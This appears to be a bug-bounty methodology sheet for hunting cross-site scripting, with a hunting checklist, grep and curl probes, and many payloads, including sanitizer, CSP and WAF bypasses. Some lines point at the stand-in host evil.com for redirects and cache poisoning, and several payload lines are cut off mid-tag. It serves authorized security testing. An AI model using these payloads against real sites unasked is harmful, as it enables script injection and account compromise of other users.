Hunt Xss

Always sub-tag the Collaborator subdomain by sink so callbacks identify which field fired.

Lesson from a authorized engagement: 10 blind-XSS Collaborator beacons planted across ErrorMessage, Source, the Authentication.asmx username field, User-Agent header, Referer header, and request paths. Zero callbacks over a 10-minute polling window. Conclusion: the SharePoint SOC views logs / errors in tooling that does not render HTML, AND the ASP.NET request validator blocks < in query strings before the payload reaches storage. Stored-XSS claim correctly retracted.

Attack Surface Signals

URL Patterns:

/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*

Response Headers (weak defense signals):

Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0

JS Patterns in source that signal DOM XSS:

document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval(
setTimeout(string,
setInterval(string,
$.html(
$(location

Tech Stack Signals:

• Rails applications using html_safe, raw, translate, Action Text, or ActionView sanitize helpers
• GitLab/GitHub markdown pipelines (Banzai, Kramdown, RDoc, Kroki)
• Applications allowing SVG uploads or rendering
• Sites using style tag in allowlists
• Kroki/Mermaid/PlantUML diagram rendering endpoints
• Cache layers in front of authenticated pages (cache poisoning vector)

Step-by-Step Hunting Methodology

1. Map all reflection points — Spider the target and identify every place user input appears in HTML output. Prioritize: URL parameters, form fields, HTTP headers (User-Agent, Referer), file upload names/contents, and API response fields rendered in UI.

2. Classify by type — Determine if each reflection is Reflected (URL param → response), Stored (database → later rendering), or DOM-based (JS reads URL/storage → DOM sink). Each requires different payload delivery.

3. Probe sanitizer behavior — Send harmless canary strings first: aaa"bbb'ccc<ddd to determine which characters are escaped. Observe if output is in HTML context, attribute context, JS context, or URL context.

   Marker Discipline: When choosing canary strings, they MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: test, marker, evil, attacker, payload, javascript, script. Good markers: cpmark987abc, x4hd2k9pq, __ZZ_MARKER_<random>_ZZ__. Before claiming reflection, search the baseline (no-marker) response for the marker — if it appears naturally in the page (e.g., the word javascript is in every page's help-link hrefs), it's a false-positive trap and you need a different marker. This single check catches 80% of false-positive reflection reports.

4. Test allowlisted tag combinations — If a sanitizer is in use, probe for dangerous tag combos: <math>+<style>, <svg>+<style>, <iframe srcdoc>, <style> with expressions.

5. Hunt SVG and file upload vectors — Upload SVG files containing <script> tags. Check Content-Type response header. Test if CSP applies to SVG responses separately.

6. Test markdown/documentation renderers — In wiki, README, or doc fields, try: [text](javascript:alert(1)), inline HTML injection, Kroki/Mermaid payloads, RDoc link:javascript: syntax.

7. Check redirect parameters — Test ?redirect=javascript:alert(1) and ?return_url=//evil.com — look for single-click XSS via improper redirect sanitization.

8. Probe UTM and analytics parameters — utm_source, utm_medium, utm_campaign are often reflected without sanitization on marketing pages.

9. Test CSP bypass opportunities — If CSP is present, look for: JSONP endpoints on allowed domains, unsafe-inline in style-src, SVG that bypasses script-src, script gadgets on whitelisted CDNs.

10. Attempt stored XSS in profile/metadata fields — Username, bio, tag names, label colors, organization names — these render in many contexts and often have weaker validation.

11. Check cache poisoning — Test if reflected XSS payloads can be cached and served to other users (especially on CDN-fronted pages), transforming reflected XSS into stored-equivalent.

12. Validate in target browser — Always confirm in a real browser before reporting. Many payloads work in Burp but not in Chrome due to XSS auditors or browser parsing differences.

Payload & Detection Patterns

Basic context probing:

aaa"bbb'ccc<ddd>eee`fff

Reflected XSS — URL parameter baseline:

?q=<script>alert(document.domain)</script>
?q="><script>alert(1)</script>
?utm_source=<svg
?redirect=javascript:alert(document.domain)

Attribute context escapes:

"
'
`onmouseover=alert(1)

SVG-based (CSP bypass):

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

Sanitizer bypass — math+style combo:

<math><style><img src=x

Sanitizer bypass — svg+style combo:

<svg><style><img src=x

Markdown/RDoc javascript: link:

[Click me](javascript:alert(document.domain))

Kroki/diagram injection:

```kroki
plantuml
@startuml
:<script>alert(1)</script>;
@enduml

**DOM XSS via hash/search:**
```javascript
// In browser console to test sink
location.hash = '#"><img src=x
location.href = 'https://target.com/page#<script>alert(1)</script>'

Grep patterns for source review:

# Find dangerous sinks in JS
grep -rn "innerHTML\|document\.write\|eval(\|setTimeout(\|location\.hash\|location\.search" --include="*.js"

# Find unsafe Rails helpers
grep -rn "html_safe\|raw(\|sanitize\|translate" --include="*.erb" --include="*.rb"

# Find reflected params in responses
grep -i "utm_source\|utm_medium\|redirect\|return_url\|callback\|next" --include="*.html" -r

Curl to detect reflection:

curl -sk "https://target.com/search?q=XSSCANARY" | grep -i "XSSCANARY"
curl -sk "https://target.com/page?utm_source=XSSCANARY" | grep -i "XSSCANARY"

Cache poisoning test:

# Send payload then fetch with clean session to see if cached
curl -sk "https://target.com/page?param=<script>alert(1)</script>" -H "X-Forwarded-Host: evil.com"
curl -sk "https://target.com/page" | grep -i "evil.com"

Common Root Causes

1. Trusting html_safe in Rails — Developers mark strings as safe after partial sanitization, or chain .html_safe on user-supplied data without full sanitization.

2. Allowlist sanitizers with dangerous tag combinations — Allowing style alongside math or svg creates mXSS (mutation XSS) opportunities even when individual tags seem harmless.

3. Third-party rendering pipelines — Markdown-to-HTML pipelines (Banzai, Kramdown, Kroki) introduce XSS when diagram/rendering engines aren't sandboxed and output isn't re-sanitized.

4. Reflecting URL parameters without encoding — UTM params, redirect URLs, and search terms are reflected in page HTML or JS without proper HTML-encoding, especially on marketing/help pages that are treated as lower-security.

5. SVG treated as non-script content — Developers apply CSP to HTML responses but forget that image/svg+xml responses can execute JavaScript and often aren't covered by the same CSP header.

6. Incomplete sanitizer patches — CVE-patched sanitizers are bypassed by slight variations (e.g., CVE-2022-32209's incomplete fix demonstrates that sanitizer logic is difficult to get right, creating bypass chains).

7. javascript: scheme not blocked in href/src — Link renderers (RDoc, Markdown) fail to block javascript: URLs in href attributes, treating them as valid external links.

8. Cache layers storing authenticated user input — CDN or reverse proxy caches store responses containing user-controlled XSS payloads, serving them to subsequent unauthenticated users.

9. File upload without Content-Type enforcement — Accepting SVG or HTML files and serving them without forcing Content-Disposition: attachment or overriding Content-Type.

10. Translation helper XSS — Rails translate/t() helper marks translation strings as HTML-safe and interpolates user input, enabling injection through locale keys.

Bypass Techniques

CSP Bypass:

• SVG uploads bypass script-src because image/svg+xml responses may not inherit the page's CSP
• Find JSONP endpoints on whitelisted domains (*.googleapis.com, *.cloudflare.com)
• Use <base> tag injection to redirect script sources
• Exploit unsafe-eval or unsafe-inline in style-src to execute CSS-based attacks
• <link rel=preload> or <meta http-equiv> gadgets to bypass strict policies

Sanitizer Bypasses:

• mXSS (Mutation XSS): Inject HTML that's safe when parsed by sanitizer but mutates when re-parsed by browser (e.g., <math><style><img>)
• Tag combination attacks: <svg> + <style> or <math> + <style> create parsing ambiguity
• Attribute quoting variations: onmouseover=alert(1) without quotes, backtick delimiters
• HTML entity encoding: javascript: or javascript: in href values
• Protocol variations: javascript:, vbscript:, data:text/html

<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<!-- Null bytes -->
<scr\x00ipt>alert(1)</scr\x00ipt>
<!-- Tag breaking -->
<svg/onload=alert(1)>
<!-- Event handler alternatives -->
<body
<input autofocus
<details open

// Obfuscated payloads
<svg
// String splitting
<script>ale\u0072t(1)</script>
// HTML5 event handlers that WAFs miss
<video src=x
<audio src=x

?next=javascript://%0aalert(1)
?next=javascript:alert(1)
?redirect=//evil.com/%0d%0a%0d%0a<script>alert(1)</script>